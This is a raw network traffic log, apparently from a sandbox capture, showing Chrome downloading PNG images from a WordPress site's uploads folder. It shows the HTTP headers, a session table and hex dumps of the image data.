2024-04-11 21:26:50 UTC	900	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 18763 Connection: close CF-Ray: 872e0ea64c52431a-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60dff68a-494b" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 03 Jul 2021 05:32:58 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W4VKVkAM9vsyFgOJg2TG5ReUisZk9o3yUsb1eeQCeIP4JfgzOHf1D3jAhNDokudnLfQ2QpfnfWarmMhTt8vt%2B3zErTmjgsC3xgZdNEa2qVA9rwTVVGnUevaP7sWOHbEtBt8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	469	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 75 00 00 00 73 08 06 00 00 00 a6 5d 4d a1 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 48 ed 49 44 41 54 78 da ec bd 79 90 5d e7 95 1f f6 fb ee 7d fb d2 fd 7a 41 37 01 10 44 03 24 b8 53 02 25 91 5a 46 a2 40 8f 6c 4b b2 a3 81 ec 71 4d 65 1c 5b 54 26 a9 94 ab 52 19 b1 e2 3f c6 19 27 a4 3c 89 32 93 4a 4a 9c 8a ab 26 15 db 21 35 65 8d 35 d2 68 48 4a 1a 2e c3 a1 08 8a 12 49 70 43 93 04 41 00 24 80 06 d0 0b 80 de 5e 6f 6f bb cb 97 73 ce f7 7d f7 de 07 52 b6 00 92 12 25 e3 51 4f af f1 96 fb ee bb e7 3b db ef fc ce f9 80 4b b7 4b b7 4b b7 4b b7 4b b7 4b b7 4b b7 4b b7 4b b7 b7 bd a9 5f b5 1f f4 fa d4 6b bb f3 f9 7c 23 8e 62 04 61 af 11 Data Ascii: PNGIHDRus]MtEXtSoftwareAdobe ImageReadyqe<HIDATxy]}zA7D$S%ZF@lKqMe[T&R?'<2JJ&!5e5hHJ.IpCA$^oos}R%QO;KKKKKKKKK_k\|#ba
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 49 a8 ef c2 6d ff 81 a7 27 d6 d6 d6 f6 36 97 96 bf 74 ee dc a9 dd 7e 6e 16 7e a1 88 d8 a3 cb ac 73 90 07 f8 24 87 1c 7c d2 42 25 42 55 f0 15 09 31 56 98 3d 3d 8d a9 13 27 d0 6a b5 d0 6c 2e 61 e7 ce ab d0 e9 74 70 f8 f0 eb f0 94 87 6b af bd 16 e5 4a 05 85 62 51 b4 9b b4 14 9a cc b6 f2 69 01 28 af 41 ca bd 97 c4 bf 97 be e6 eb 7f f6 c8 77 26 e9 b9 6f d0 0a 79 e0 bf fc db 5f 9c ba 24 d4 0b bc bd 7c f4 e5 bd 5a c7 5f ea 75 ba 7b 95 52 e2 0b 3d d2 3e 8f 04 e7 15 e8 c2 8b f0 34 09 46 91 c2 d1 65 f7 f3 fc 2f 31 ad 2b 4b cb 98 9b 9d c3 b3 cf 3c 8d fd 4f 3f 83 b9 b9 39 04 bd 00 f9 42 1e 83 03 03 58 5d 5b c7 d2 e2 22 7c 3f 87 a7 f6 3d 45 02 2d 60 68 74 18 57 ed ba 1a 37 7f f8 43 18 da 34 8a 62 b9 04 fe de c4 41 89 99 c6 6e fa 7b 37 3d 7e fd db 4f 7c 6f 5f a1 90 ff Data Ascii: Im'6t~n~s$\|B%BU1V=='jl.atpkJbQi(Aw&oy_$\|Z_u{R=>4Fe/1+K<O?9BX]["\|?=E-`htW7C4bAn{7=~O\|o_
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 12 a1 2b f1 dd b1 f8 6f 6d 7f 1f 43 92 fc 6f 73 8c 88 ff dd a0 17 ee df 7f f2 95 bb 7f e9 cd ef ff fd 8d 3f be 97 2e dd 1d 06 28 30 5e 27 55 17 b1 b3 46 b8 b1 b9 c4 c6 f4 19 a1 73 8e f9 c2 73 cf e1 c7 3f fa 09 8e 1c 3e 2a 91 6c ce cf c9 85 32 01 0d 92 54 85 2f a4 d1 4a f6 c8 da 9a e7 98 34 d0 4b b4 57 59 81 db 0f d1 22 b2 b9 aa 8d cd 58 b8 c6 27 f3 cb 2c 18 e7 87 63 79 5d 82 26 7a 6c ad 6d e0 95 17 5e a2 bc f9 1c 6e b8 e1 06 44 e5 98 22 61 2f 59 08 e2 cb 6d 9c 20 8b 2a 36 77 a5 22 78 da bb eb 99 13 93 db 69 21 df f9 89 2b 3f f4 9e a5 3e ef 49 f4 fb ef be fd ff 34 28 f8 b8 9f 56 f7 1e ce f5 2a a5 32 aa 95 1a 4a e5 0a 4a 94 12 70 64 29 11 23 5f 8c 58 27 82 0c b8 9a 42 8f 0c e5 cd ce cc e0 5f ff f1 bf c6 f4 a9 19 b9 b8 12 b1 da 94 25 d5 36 6d 35 d0 48 86 8f Data Ascii: +omCos?.(0^'UFss?>l2T/J4KWY"X',cy]&zlm^nD"a/Ym 6w"xi!+?>I4(V*2JJpd)#_X'B_%6m5H
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: e7 dd 09 ba e8 51 50 d3 89 3d b4 7b 11 1d 37 b6 3e 36 4a 50 28 3e f7 0e e5 d4 f3 67 cf a2 b5 de c2 60 b1 64 b4 95 a9 36 be 72 ee 59 16 93 6f 17 83 66 d3 ae ad d3 4e 90 2e 01 40 ee 7d e4 f9 47 27 3f 7b cb df 9d fc 85 08 95 04 da 20 33 78 2f 09 b2 11 06 91 85 d4 4c c8 6f 50 99 34 cf 73 28 92 98 25 d6 52 fe 01 71 12 39 59 73 c4 42 f3 31 32 3c 82 5a ad 8e 5e 67 c9 9a b8 d0 46 a4 31 69 8e c2 58 2d 87 ad c3 55 ec dc dc 40 bd 92 27 1f eb c9 42 e9 b6 bb e8 ac 77 31 bd 12 62 66 79 1d 6b 9d 00 5d 12 76 9b fd ab 03 18 58 13 0b 3e dd 4b f4 cf 50 34 b3 52 2c d0 22 f1 29 97 2e 60 b8 5e 97 7f b3 b9 65 f3 cf 34 98 58 07 58 ee 44 38 b9 b0 86 73 ab 5d 8a e4 3d 18 44 5a 27 d5 9f 5e a7 87 d5 c5 a6 a4 39 5c 92 63 81 9a 1a ad 91 19 2f 3c c3 de 30 b1 38 17 f6 75 6c c9 37 f6 3d Data Ascii: QP={7>6JP(>g`d6rYofN.@}G'?{ 3x/LoP4s(%Rq9YsB12<Z^gF1iX-U@'Bw1bfyk]vX>KP4R,").`^e4XXD8s]=DZ'^9\c/<08ul7=
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 70 49 3a 13 db 73 8e 6d d9 2d 16 f2 b9 ad bf a7 02 b5 41 96 c1 a7 b5 39 ae f2 d3 e2 99 72 0e 41 71 d0 f4 e5 f7 44 53 ff e2 a1 6f 4d 90 3f bc 43 4c 6d 46 88 22 48 39 d1 28 15 a8 e5 d7 66 c9 1d 22 4c 6d b8 3d 91 83 dc 2c db 80 a3 5f 63 c2 35 6a a4 59 06 65 31 be 96 cf b0 47 56 a0 cb d5 1b d2 a8 58 e5 0c 79 5b 19 7e 93 18 39 2d f9 3c bd ce d0 5c 0f 51 d0 22 59 b7 e4 6f 58 ae 92 9c 1b 83 0d 1c b0 f5 da 64 09 e8 1e 74 e8 fb 3b 74 d1 03 68 9f 16 84 4f d6 42 71 ca 45 07 f3 98 27 25 f0 93 2c 06 06 e3 b5 14 11 f2 c8 17 8a a2 a5 b2 d8 7c 63 6a 99 96 ba b8 b8 68 b5 d2 55 7c 74 c2 ce 08 2d aa a4 ed ef 8e 2c 50 e3 2a 3c b1 4b fb ac 8b 32 55 45 b9 56 77 fc e5 8f 1e 9c 78 4f 34 95 34 e8 ae d4 9c 44 62 f7 0d 00 6e 13 6a 8b 77 2a bb 1a 9d a9 89 b8 3a 62 cd 6c 6c 29 1f fc Data Ascii: pI:sm-A9rAqDSoM?CLmF"H9(f"Lm=,_c5jYe1GVXy[~9-<\Q"YoXdt;thOBqE'%,\|cjhU\|t-,P<K2UEVwxO44Dbnjw:bll)
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 79 a1 68 d8 c7 c0 e0 00 6a 95 92 60 cc 0e d7 56 09 ec c6 11 78 e2 1f 53 16 a5 56 c9 75 85 2d e8 6b 36 bf 71 7a bd b9 1a a1 52 ba d4 97 de b1 50 bf f9 17 ff b6 41 e2 da 2b c4 64 ed 80 ec d8 88 47 24 15 19 5c 44 04 ac 93 ff 90 2a 68 22 56 95 10 44 fb 59 ec b2 0c b4 2f 10 5a 2c 45 71 43 ae ee d1 ea dc 34 b2 09 db 27 2e 27 81 b5 70 f0 e0 21 3c 3f 79 14 23 95 32 b6 8f 34 04 0c 60 8e fd 4a ab 8b 26 99 e2 4e cf f4 df 34 9b ab e8 b2 96 05 eb 28 84 2b 50 c1 30 c6 87 86 24 a0 52 3d 1f 1b ad 0d 2c 35 97 31 3d bd 82 43 a7 ce e2 f8 42 0b cd 80 4d 2f 2f b6 55 29 cd b1 06 e5 73 26 6f 5e 5e e1 82 7a 88 36 05 33 57 6c 1e c6 a6 e1 2a 3e f6 c1 5d 98 5f 0d 70 60 6a 89 22 70 8a 8a 83 18 b5 7a 4d 02 ae 28 e8 5a 25 f5 6c 2e 8d 24 f2 95 23 0a 5e a8 6c 1b a6 a5 d2 c4 e6 9e b4 9f Data Ascii: yhj`VxSVu-k6qzRPA+dG$\Dh"VDY/Z,EqC4'.'p!<?y#24`J&N4(+P0$R=,51=CBM//U)s&o^^z63Wl>]_p`j"pzM(Z%l.$#^l
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 3b 4e ed 6d 46 fa fd 1a 9f 34 26 19 da 80 68 2a d6 96 c8 34 fa 18 b9 66 07 a5 0f 39 34 b6 8e 33 a7 c5 54 18 49 43 4b 83 63 28 54 7b 68 90 76 f4 e8 33 3d 81 16 63 8c 6e 21 d1 52 be a9 18 9b 05 b3 ef 7d ca 19 2b 74 8c aa e9 f4 2e 94 6c 07 33 50 aa 56 29 0d 22 1f dc 65 c6 44 19 1b eb 6b c8 c7 5d 54 cb 0a 97 ed d8 44 0b 28 4f f9 71 9b 04 54 c7 95 9b af 47 51 31 33 82 2c 09 77 0a c4 9e 2c 0a 45 7e b7 4e 9a 4b 6b 42 38 4d d7 5d 36 2a 42 2d d1 df 01 e7 67 b4 7a 38 ef 96 e0 4f 02 42 93 b3 72 ba 92 16 c9 ed e5 f1 94 c5 a7 8d a6 7a 16 ac 61 03 ed b9 46 2b 95 92 09 2c fd e5 d3 17 eb 53 77 2b 2b a0 6c 5f 49 12 15 29 9b 67 65 7d 66 a2 c7 1a d0 6f df 8f 15 eb ac 96 6b d3 06 c1 a4 79 f2 9b 39 dd a2 64 bf 2c a8 dd 95 db 36 23 a4 8b 14 07 1d 03 19 90 b6 45 05 f6 55 1d ba Data Ascii: ;NmF4&h4f943TICKc(T{hv3=cn!R}+t.l3PV)"eDk]TD(OqTGQ13,w,E~NKkB8M]6B-gz8OBrzaF+,Sw++l_I)ge}foky9d,6#EU
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: bf 13 92 d0 18 58 af 17 0a 94 9a 90 b6 76 ba a6 fb 1c 0e d4 b6 e4 49 65 41 04 df fc 50 26 88 09 db 20 e8 a2 4d e9 49 a7 43 91 71 8d 52 1c 26 83 f9 79 e1 fb ca 7c 51 66 14 48 6a 94 93 47 4e 73 b8 a1 b9 b5 da c4 c2 dc 2c 36 5d 76 19 2a b4 a0 38 cf 14 d2 1a f3 a0 b8 5a 14 77 ec 00 2d df c0 9b 4a d9 d9 c1 be 54 50 3a ad b6 14 16 72 b4 80 34 85 ed 51 a4 fa af 9b 4b 5b 12 3d d1 09 20 03 d7 af cb bf d3 f3 fb e6 61 e8 84 88 60 31 f2 84 10 9e 94 f2 76 5f a0 a6 aa 86 f3 da c9 97 0b 17 c7 33 26 c1 d6 25 75 86 fa 29 ab 2b 4a 11 27 f7 a3 62 8b b0 64 6b ad 8e 53 24 06 59 d9 4e 73 1e 69 43 66 b1 45 01 05 8f 6a 5d ed 6d 90 19 5e a3 d5 4f 79 27 69 b2 a2 74 24 64 20 5e 38 bd 45 49 ce 61 29 22 5c dd 69 ad ad 61 bd b9 42 79 68 1d 03 c3 c3 74 be 79 ca 69 07 28 3d 2a 49 c1 5c Data Ascii: XvIeAP& MICqR&y\|QfHjGNs,6]v8Zw-JTP:r4QK[= a`1v_3&%u)+J'bdkS$YNsiCfEj]m^Oy'it$d ^8EIa)"\iaByhtyi(=I\
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 23 fd fc ef 71 26 58 48 68 66 0e 9d 99 39 c8 2b 85 23 5d af 4a fe 92 22 62 12 37 a7 3a 1c 09 4a 72 61 53 05 6e f4 85 b7 41 02 a0 c0 28 5f 15 90 5f 50 27 1e ab 63 7b 48 07 b8 33 9d 8e c5 91 b2 90 bc f9 d0 2a 67 c6 19 68 03 58 04 da 8c aa eb b6 db f0 4b 79 6b 7d 4c bb 65 e4 c6 be d2 ef ec d0 3d 37 50 c7 e0 c8 26 c1 93 03 8e c4 cb 45 3b b2 ce 83 ce 16 a2 24 00 ca 62 e7 51 82 e8 ab c4 80 9d 47 52 73 19 ae a5 29 19 06 e2 db 02 44 17 28 54 8d 29 6d 43 e7 3e 50 4f 65 fa a2 1c dd 22 19 89 aa 0c 3b 22 71 fe 99 da ab 45 98 52 99 4a 68 d5 e7 5a 5c 5b 23 27 da 91 67 a1 47 fa 00 8b 93 a9 23 0c 24 78 94 e6 74 e9 42 16 04 14 32 a3 ce 9b cb 6b 64 0e 49 3b e6 17 48 20 01 ca a4 69 1c 2d 73 3d b5 cc 26 36 32 25 37 e1 d0 52 2e 1b d9 74 60 3d 84 0c b1 6a 91 29 65 fc b9 cd 26 Data Ascii: #q&XHhf9+#]J"b7:JraSnA(__P'c{H3*ghXKyk}Le=7P&E;$bQGRs)D(T)mC>POe";"qERJhZ\[#'gG#$xtB2kdI;H i-s=&62%7R.t`=j)e&
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 79 e2 19 e7 ce 45 df e4 d3 ac b9 9c e7 46 7c 9e 5a 10 e1 b4 ee 9e 2c 7a 95 99 ba 92 c9 1c 60 a6 7e 3b 93 2c 0b 37 36 ed 18 b2 7b 87 8d 2d 22 b1 8e 6f ad f2 08 a3 d0 4c 6d bb c8 b6 0b 85 49 3a e9 dd 71 92 8f 5a 07 6d 67 f8 a6 2e 59 67 f6 82 51 6f 21 5a 19 90 c2 eb 63 14 ba 20 40 59 66 04 5f 2a 3f 31 09 e6 c4 f9 bd 39 16 1c 77 63 d3 45 0c 48 c3 98 82 66 fa 38 73 32 86 87 23 4d 25 c3 20 8b a6 a3 5d 6b e9 f6 0e 7a 2d f3 75 e2 23 49 2b ab 40 b7 6b 68 27 3c eb 17 32 b8 d2 44 c5 5d ba 07 6c ea d8 4c 47 82 1d 91 e6 46 02 73 72 70 16 84 a6 67 48 e5 22 81 0c c5 73 70 0d 3e 67 76 c7 e8 83 01 fb fe a5 12 21 27 dc a3 04 52 d5 49 3a 23 45 f5 38 1d df a3 e0 ae 6f 9c f4 e2 c8 46 0f b6 d8 6e c9 df 93 17 45 e6 26 6d 7c 52 5a e8 c4 af 78 62 22 60 e3 53 73 52 b1 7d 74 a6 d4 Data Ascii: yEF\|Z,z`~;,76{-"oLmI:qZmg.YgQo!Zc @Yf_*?19wcEHf8s2#M% ]kz-u#I+@kh'<2D]lLGFsrpgH"sp>gv!'RI:#E8oFnE&m\|RZxb"`SsR}t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.17	49934	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	1010	OUT	GET /wp-content/uploads/james.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:51 UTC	914	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:51 GMT Content-Type: image/png Content-Length: 160327 Connection: close CF-Ray: 872e0ea73c604313-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60dff5f3-27247" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 03 Jul 2021 05:30:27 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zwX9%2FmIEaHewgzwL5SaFaLHQ5d5yj%2FM8%2Fmwim0jW0OHp316WhVhJGisoQOad1uY%2F8qlS83ooLFdON1hiZstb48z72LDIRBA%2BXP%2FxXFj8%2BtpnUU2K6EDDZaZxNSi9Uy0ZuCs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:51 UTC	455	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 bc 00 00 03 44 08 03 00 00 00 65 d2 0c b1 00 00 03 00 50 4c 54 45 fe ff fe 00 00 01 f8 fc fb 53 0f 0f 64 12 13 4b 0e 0e 5b 10 10 6b 13 14 45 0d 0d fd fe f7 74 15 16 3d 0b 0b 7c 16 17 f8 fb f5 84 18 1a f1 f6 ef 36 0a 0b 0b 02 03 2e 09 09 fd fd f2 ef f3 e9 26 07 08 8b 1a 1c 1d 04 06 f4 f8 f8 15 03 04 f9 f6 f0 e5 b1 98 f9 fb ec b7 65 34 ea ba a4 e7 b6 9e ef f3 e1 9a 1d 24 92 1a 1d c3 75 4a c0 71 43 e1 ab 91 ac 54 23 e6 f0 e1 68 15 1e d4 94 75 ba 6b 3c f4 f8 e4 e1 ee d6 f9 f2 ea 8f 1e 28 ee f6 d7 db a0 83 dd a5 8b d9 9b 7a b0 5d 2e cc 89 6f ca 80 58 b4 6f 5a 8c 3b 25 e3 a8 75 f8 e9 de 99 21 31 cb 83 61 ed c1 a8 ef ec db 0a 0d 13 5c 13 1d f8 ed e4 7b 21 1b c9 9c 94 c7 7a 51 c2 92 8d cf 98 83 da ee cb 95 Data Ascii: PNGIHDRDePLTESdK[kEt=\|6.&e4$uJqCT#huk<(z].oXoZ;%u!1a\{!zQ
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: ec f2 f9 ae 7c 7c ad e0 8c be 77 56 7d 3c 35 f5 e3 d7 a8 93 90 82 47 42 9a 63 72 57 28 15 d2 e5 c8 a3 83 63 ae 8e 6f 49 2d 22 b4 7a 66 a7 39 46 a1 6d 82 73 45 1d 56 0f 2e 47 20 12 2e 09 1d e4 cb c5 ac 48 54 97 34 3e d5 ba bc 70 47 3f e6 dd c6 b6 8f 9a a0 85 81 cc ea a3 c2 9d a2 60 2c 28 6f 31 32 60 3a 18 b4 59 62 a9 74 6a 72 1b 30 8e 6a 45 98 76 54 8b 54 4a 86 6a 64 b0 98 7c 62 15 2a 88 4f 5f ab 7e 90 e3 d0 d5 94 77 73 78 57 4e 82 5c 39 d5 ec 66 b4 a0 99 c2 e7 8d c2 a4 b1 b8 55 2c bc c0 ba f1 d9 c8 dd d4 b8 23 30 3f d8 c0 cf d4 df e2 82 37 57 37 26 0d 82 20 3d 34 2a 29 c8 ae 89 97 45 57 da cb a7 91 d9 75 c4 b0 c7 df e9 f3 21 20 19 89 88 83 b2 69 71 d2 be 97 dd d1 e5 c8 cc d9 40 0a 34 5e 5b 33 c5 af a4 c0 70 7c 87 86 61 7b 30 46 0e 20 2d 69 17 42 45 47 27 Data Ascii: \|\|wV}<5GBcrW(coI-"zf9FmsEV.G .HT4>pG?`,(o12`:Ybtjr0jEvTTJjd\|bO_~wsxWN\9fU,#0?7W7& =4)EWu! iq@4^[3p\|a{0F -iBEG'
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: a9 01 f0 0e 89 0d d9 0e 7c 81 2e 8f 54 c2 ee f0 40 f2 f8 fe e1 7b d0 0b 78 59 f0 0d b9 d2 8c d1 4d a9 15 5e 80 fb 8e 47 2d e9 2c 76 de 9d f4 26 d6 ab ce bb a6 46 e3 cd 9a b5 6c 6a 35 f8 c5 b2 13 ac 97 64 54 1a 8c 68 3b b9 0d 4a ae eb b6 1c 24 9f f7 09 74 67 6a bc e3 7a 7a b1 bc 10 15 a9 4b d9 8a 8c 09 96 ef 6f c7 16 ba 95 35 48 51 f6 fa 73 cd 79 71 24 2a f0 0a 95 7c 35 a4 4f b9 c1 3b a3 a6 be 7b 1c e0 cd d1 6f 33 f1 92 e8 7a 75 07 0d ab 66 a0 c7 7b 73 03 d9 f5 70 e7 dd 61 a8 20 37 51 36 d8 7b 1f 1f 03 bc f3 62 26 bd 36 1a a8 21 f0 6e c3 bb ba 3d 79 77 cb 08 af c8 85 cf a6 b1 f3 ba 9c e9 6d a2 82 99 81 1b 95 ca d6 a0 97 c4 63 58 2f d4 63 77 d3 59 6f 1e f1 68 a6 14 d1 e0 f2 14 e1 d8 7e 21 43 77 3f bb 36 97 a5 86 d3 ef 19 dc 69 80 17 f3 e8 76 24 12 dc 18 08 Data Ascii: \|.T@{xYM^G-,v&Flj5dTh;J$tgjzzKo5HQsyq$*\|5O;{o3zuf{spa 7Q6{b&6!n=ywmcX/cwYoh~!Cw?6iv$
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: d5 98 9a c9 8c d7 e0 55 26 93 d3 b3 ac b4 b7 86 57 a3 3c b1 5e a6 97 d9 3d 7e 89 f3 6a b1 c1 ed 79 b4 41 e0 a5 1e db 40 c2 d2 52 99 30 6b ca 06 df 21 be 7a 7b f5 d5 fd 23 55 1c ec 2e 5b 99 7b 75 5e 9a 04 7a 49 91 f5 ae ce 97 02 2f 14 a7 86 ae da 70 c2 f4 9a 56 c6 6e 5d 1f 35 d3 05 eb 92 d8 3d 2a f8 90 28 bd 82 af 2a 5c 27 63 98 9c 0a 58 19 bc 26 a0 2b eb 94 88 a9 25 b7 43 59 57 8c 37 92 58 6f 33 27 f3 e5 5d 34 2b 0f ad 04 99 97 83 03 b1 0b 6c c7 7d 74 43 8c 0f f8 ea 10 21 69 67 aa 06 a3 6e 41 33 de d4 7a 95 dd 0f 74 5e d7 c5 06 49 0d a9 bc d7 c8 bb 98 a2 c3 f6 da d4 eb 32 a9 ed a2 e9 e8 15 85 de df df 5e dd 10 bd 12 1c e6 21 38 60 97 cc a8 93 4d 0d 6a 82 f5 ea 23 ba 0a af e5 4f 09 a0 49 9d 37 3c 09 09 d7 e5 a1 25 78 d1 3b a3 5d 42 e8 52 5b 10 bb 3e cf 53 Data Ascii: U&W<^=~jyA@R0k!z{#U.[{u^zI/pVn]5=(\'cX&+%CYW7Xo3']4+l}tC!ignA3zt^I2^!8`Mj#OI7<%x;]BR[>S
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 6f 13 7a 07 45 77 cb dd aa ab 72 43 e7 0f 40 57 ce 92 dd 43 3a 6c f7 06 ef af 46 af ae da 04 5f 30 0b df 85 f1 9e 2b 53 0c bd 06 24 4a b0 d0 52 76 90 fd 82 6a e7 8f 48 db c3 30 de ad b1 ab e8 12 de de d8 0d 78 71 12 5e b7 de 05 c6 5b 39 6f 28 d9 b5 95 91 0f 75 3b bb 5e a3 2a 78 0c c3 ed 0a 7a dd 78 c7 71 96 d0 3c 8d 61 84 ae 16 5e 72 5b 4d 5b 08 bb b1 05 83 81 84 22 97 56 43 a0 ef 52 53 3f a5 b8 16 a5 9a ff 66 27 ec ee 9c 5c c6 86 b1 ae 5b b4 89 77 63 b6 3a d4 ed b5 b6 3f 2c 12 e3 25 bc ab e5 a5 32 5f b1 91 dd 1e 95 b2 35 ba 7f 36 78 41 ef 27 9d 72 40 f2 fd 4e c8 fd a0 08 c3 79 97 73 b7 de 6b d2 2b 54 81 14 8d 0c 7b a3 f7 da ad 17 c3 e7 7e 40 80 57 74 ad 8b a9 61 1a 66 b0 eb f4 0e 11 24 8e 8f 01 9f 27 81 22 f4 ee 99 09 dc 79 c9 00 6b ff db 78 a7 d1 63 e9 Data Ascii: ozEwrC@WC:lF_0+S$JRvjH0xq^[9o(u;^*xzxq<a^r[M["VCRS?f'\[wc:?,%2_56xA'r@Nysk+T{~@Wtaf$'"ykxc
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 6c 7d 37 8e a6 23 37 80 5d be 6b c5 34 36 b1 25 bc 7d d1 ab 32 c5 8e 5b b5 7c 76 95 0b 7a 05 57 6f a9 e9 89 03 0c 83 5d 15 f0 1d e1 bc 70 cc d2 79 3b 93 61 99 99 17 70 44 c8 ab f1 d5 13 f0 8a 60 bc 64 17 f0 0e 72 72 b1 c6 c9 50 7c bc 15 42 64 00 bb 68 d6 70 f7 a5 3d 70 b6 c1 c9 c5 bc b7 a9 9c ca 19 00 ef db 7b 49 bb 80 77 58 e3 bc 2d 8e 36 12 89 82 43 d5 62 03 ba 2b f4 fc 7c 2f ce 8b d4 6b d6 cb d8 eb f4 e2 01 e5 b2 12 5e 2e d9 b0 8c 82 5a df 95 f3 1f 79 64 6e 10 7d 75 7d 05 91 de 3b 67 57 4b 68 06 af 0d 32 c4 66 8a d2 76 8b d0 d0 c0 0b f5 cd 38 3a 3a 6f 60 c5 71 9e bd ab e4 f3 40 0e af b1 6b e8 ea 38 18 7e 0f 24 87 1c de c2 a4 dd ae 30 35 de 15 16 da d0 79 8b 26 74 f9 ef d9 4e 9f 59 e7 4d 7c 39 ab 41 78 a3 45 0e 31 f7 0b bb 2c ae 4c 98 e6 0d b9 f3 e6 a2 Data Ascii: l}7#7]k46%}2[\|vzWo]py;apD`drrP\|Bdhp=p{IwX-6Cb+\|/k^.Zydn}u};gWKh2fv8::o`q@k8~$05y&tNYM\|9AxE1,L
2024-04-11 21:26:51 UTC	1369	IN	Data Raw: 5d cb 3f 73 b5 9b 0f ff 04 bd 6c 5c d4 b1 81 f5 86 0f a7 a7 0a 6f 6b 84 4d e6 dd b2 54 d6 dc c4 5d 57 a9 c6 6e ec 03 da ac 4b bc f9 68 a9 1b ce 9b e4 ea d3 7a e7 fd fd c7 e7 47 58 2f e9 7d 31 eb 05 bc a0 d7 77 10 27 bc 80 b4 c2 37 d9 75 80 c9 2f f1 55 31 f8 ea ff d1 ed e7 9f 8d 5e 0d 0f 22 5d b8 cd 98 ca d5 66 05 e1 6d 05 52 29 f7 a9 c5 be 34 74 ad e9 3c d3 a5 37 30 5e b0 db f3 56 eb 49 2f 8d aa d9 ad 0d 85 f3 e2 e9 28 e0 a5 82 8e cd 5b 35 cb ce 7f bd f8 b5 26 bf e1 b9 d0 4b 71 b8 b3 8e be 38 1d 5f 3d 78 47 0b c8 72 08 4b 65 80 b7 89 dd fe da b8 ef 9d b7 29 f3 6e 06 c9 45 af 7c f2 2d ad a2 cf 85 b7 42 97 d2 29 0b e0 1b e4 e2 79 9d f3 02 de df c5 79 ef 2d f4 86 f3 be 48 97 f8 15 bc cb 2b e7 b5 60 4b 28 99 18 80 2e d5 b0 0b e7 75 76 bf 07 bd 4e f0 8d 79 e5 Data Ascii: ]?sl\okMT]WnKhzGX/}1w'7u/U1^"]fmR)4t<70^VI/([5&Kq8_=xGrKe)nE\|-B)yy-H+`K(.uvNy
